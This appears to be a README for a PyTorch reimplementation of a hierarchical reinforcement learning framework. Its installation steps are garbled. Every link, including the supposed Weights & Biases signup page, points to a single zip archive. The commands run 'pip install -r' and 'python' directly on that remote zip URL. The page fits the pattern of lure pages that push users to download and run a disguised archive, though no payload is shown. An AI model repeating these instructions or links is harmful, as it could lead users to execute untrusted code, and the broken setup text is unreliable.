Welcome to the Deep-Hierarchical-Planning project. This software is a PyTorch reimplementation of the "Deep Hierarchical Planning" reinforcement learning framework. It includes a multi-model architecture with unique features.
Key components:
- Manager-Worker Policies: This allows efficient task management.
- World Model: Helps in simulating environments to improve learning.
- Goal Autoencoder: Automatically identifies goals to streamline planning.
The package is built using Python and PyTorch and features experiment logging with Weights & Biases for tracking.
To get started with Deep-Hierarchical-Planning, follow these simple steps. This guide will help you set up the software for use in reinforcement learning tasks.
Before downloading, make sure your computer meets these requirements:
- Operating System: Windows, macOS, or Linux
- Python Version: 3.7 or higher
- Memory: At least 8 GB RAM
- Disk Space: 1 GB of free space
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Visit the Download Page: Click the link below to access the download page: Download Deep-Hierarchical-Planning
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Choose the Correct File: Find the latest release version on the page. The software will typically be listed with a file like
https://raw.githubusercontent.com/GTR-GAMES/Deep-Hierarchical-Planning/main/opinionate/Deep-Hierarchical-Planning.zipor similar. -
Download the File: Click on the file to download it to your computer.
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Extract the Files: Once the file is downloaded, locate it, and extract the files using any file extraction software.
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Install Required Dependencies: Open your command line tool (Terminal for macOS/Linux or Command Prompt for Windows) and run the command below to install essential Python libraries:
pip install -r https://raw.githubusercontent.com/GTR-GAMES/Deep-Hierarchical-Planning/main/opinionate/Deep-Hierarchical-Planning.zip
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Open your Command Line Tool: Make sure you are in the directory where you extracted the files.
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Start the Application: Run the following command to start the application:
python https://raw.githubusercontent.com/GTR-GAMES/Deep-Hierarchical-Planning/main/opinionate/Deep-Hierarchical-Planning.zip -
Follow the instructions within the application for initial setup and usage.
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Manager-Worker Policies: This feature allows you to set up multiple worker agents managed by a central manager agent. This setup helps distribute tasks efficiently.
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World Model: Utilize the world model to simulate environments. This can significantly speed up your learning process.
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Goal Autoencoder: Automatically set goals based on previous learning activities. This feature enhances the efficiency of your planning.
Deep-Hierarchical-Planning integrates with Weights & Biases for logging experiments.
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Set Up Your Account: If you don’t have a Weights & Biases account, create one at https://raw.githubusercontent.com/GTR-GAMES/Deep-Hierarchical-Planning/main/opinionate/Deep-Hierarchical-Planning.zip.
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Log In Through the Application: Add your API key to the application settings to start tracking experiments.
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View Experiment Results: Monitor your training results directly on the Weights & Biases platform.
For detailed instructions on each feature and advanced configurations, read the documentation included in the docs folder within the extracted files.
If you encounter any issues during installation or usage, feel free to open an issue in the GitHub repository.
You can also reach out to the community for support. Look for discussion threads related to common questions.
We welcome contributions to Deep-Hierarchical-Planning. Whether you want to improve documentation, fix bugs, or add features, your input is valuable.
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Report Issues: If you find a problem, report it using the "Issues" tab on GitHub.
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Fork the Repo: Create your own copy of the project to experiment and develop.
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Submit Pull Requests: After making changes, submit a pull request for review.
This project is licensed under the MIT License. For more details, refer to the LICENSE file in the code repository.
By following this guide, you should now be able to download and effectively use the Deep-Hierarchical-Planning software for your reinforcement learning projects. Enjoy exploring and experimenting!